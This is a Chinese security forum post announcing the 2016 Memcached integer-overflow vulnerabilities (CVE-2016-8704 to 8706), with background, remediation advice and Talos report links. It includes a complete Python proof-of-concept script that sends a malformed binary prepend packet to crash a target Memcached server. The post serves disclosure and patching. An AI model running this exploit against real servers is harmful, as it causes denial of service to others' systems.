搜索
查看: 578|回复: 0

Memcached修复多处高危漏洞可导致代码执行、拒绝服务

[复制链接]

432

主题

573

帖子

2543

积分

核心成员

Rank: 8Rank: 8

积分
2543
发表于 2016-11-1 15:30:19 | 显示全部楼层 |阅读模式

[/url]

背景介绍


Memcached是一个自由开源的,高性能,分布式内存对象缓存系统。

Memcached是以LiveJournal旗下Danga Interactive公司的Brad Fitzpatric为首开发的一款软件。现在已成为mixi、hatena、Facebook、Vox、LiveJournal等众多服务中提高Web应用扩展性的重要因素。

Memcached是一种基于内存的key-value存储,用来存储小块的任意数据(字符串、对象)。这些数据可以是数据库调用、API调用或者是页面渲染的结果。

本质上,它是一个简洁的key-value存储系统。

一般的使用目的是,通过缓存数据库查询结果,减少数据库访问次数,以提高动态Web应用的速度、提高可扩展性。


漏洞描述


2016年10月31日    Memcached发布安全补丁修复多个远程代码执行漏洞,利用该漏洞黑客可以窃取在Memcached中存放的业务数据,或导致Memcached服务崩溃从而造成拒绝服务等危害,安全客提醒用户应当及时升级官方版本至1.4.33版本。

Memcached存在多个整数溢出漏洞,可导致远程代码执行。

这些漏洞存在于用于插入(inserting)、附加(appending,)、前置(prepending)、修改键值对的函数中,在SASL身份验证位置也存在问题。

攻击者可以通过向服务器发送一个精心构造的Memcached命令实现该漏洞的利用。此外,这些漏洞还可以泄露敏感的进程信息,并且可以多次触发,利用这些敏感的进程信息,攻击者可以绕过像ASLR等常见的漏洞缓解机制。

由于可以绕过这些通用的漏洞缓解机制,使得这些漏洞的危害尤为严重。

虽然Memcached文档中已经强烈建议将Memcached服务配置在可信任的网络环境中,但是仍有大量的Memcached服务可以在公网中直接访问。

此外,即使Memcached部署在内网中,企业的安全管理人员仍然不能忽视此次更新的安全问题,黑客可能通过内网渗透、SSRF漏洞等,直接对部署在内网的服务发起攻击。


漏洞编号


CVE-2016-8704 - Memcached Append/Prepend 远程代码执行漏洞

CVE-2016-8705 - Memcached Update 远程代码执行漏洞

CVE-2016-8706 - Memcached SASL身份验证远程代码执行漏洞


漏洞利用代码(POC):(下面代码可导致业务崩溃、拒绝服务,请勿轻易尝试)

  1. import struct
  2. import socket
  3. import sys
  4. MEMCACHED_REQUEST_MAGIC = "\x80"
  5. OPCODE_PREPEND_Q = "\x1a"
  6. key_len = struct.pack("!H",0xfa)
  7. extra_len = "\x00"
  8. data_type = "\x00"
  9. vbucket = "\x00\x00"
  10. body_len = struct.pack("!I",0)
  11. opaque = struct.pack("!I",0)
  12. CAS = struct.pack("!Q",0)
  13. body = "A"*1024
  14. if len(sys.argv) != 3:
  15.         print "./poc_crash.py <server> <port>"
  16. packet = MEMCACHED_REQUEST_MAGIC + OPCODE_PREPEND_Q + key_len + extra_len
  17. packet += data_type + vbucket + body_len + opaque + CAS
  18. packet += body
  19. set_packet = "set testkey 0 60 4\r\ntest\r\n"
  20. get_packet = "get testkey\r\n"
  21. s1 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  22. s1.connect((sys.argv[1],int(sys.argv[2])))
  23. s1.sendall(set_packet)
  24. print s1.recv(1024)
  25. s1.close()
  26. s2 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  27. s2.connect((sys.argv[1],int(sys.argv[2])))
  28. s2.sendall(packet)
  29. print s2.recv(1024)
  30. s2.close()
  31. s3 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  32. s3.connect((sys.argv[1],int(sys.argv[2])))
  33. s3.sendall(get_packet)
  34. s3.recv(1024)
  35. s3.close()
复制代码

测试效果:


[url=http://p6.qhimg.com/t01ec11c0dd33694557.png]


国内影响统计:(以下数据来自fofa.so)


[/url]


漏洞细节


技术细节、分析

[url=http://www.talosintelligence.com/reports/TALOS-2016-0219/]http://www.talosintelligence.com/reports/TALOS-2016-0219/

http://www.talosintelligence.com/reports/TALOS-2016-0220/

http://www.talosintelligence.com/reports/TALOS-2016-0221/


解决办法


1.升级官方最新版本:1.4.33版本 http://www.memcached.org/files/memcached-1.4.33.tar.gz

2.限制Memcached 11211端口访问权限(如:禁止外网访问、仅限特定端口访问)


参考链接


https://github.com/memcached/memcached/wiki/ReleaseNotes1433

http://blog.talosintel.com/2016/10/memcached-vulnerabilities.html

http://www.talosintelligence.com/reports/TALOS-2016-0219/

http://www.talosintelligence.com/reports/TALOS-2016-0220/

http://www.talosintelligence.com/reports/TALOS-2016-0221/


本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?Join BUC

x
您可以更新记录, 让好友们知道您在做什么...
您需要登录后才可以回帖 登录 | Join BUC

本版积分规则

Powered by Discuz!

© 2012-2015 Baiker Union of China.

快速回复 返回顶部 返回列表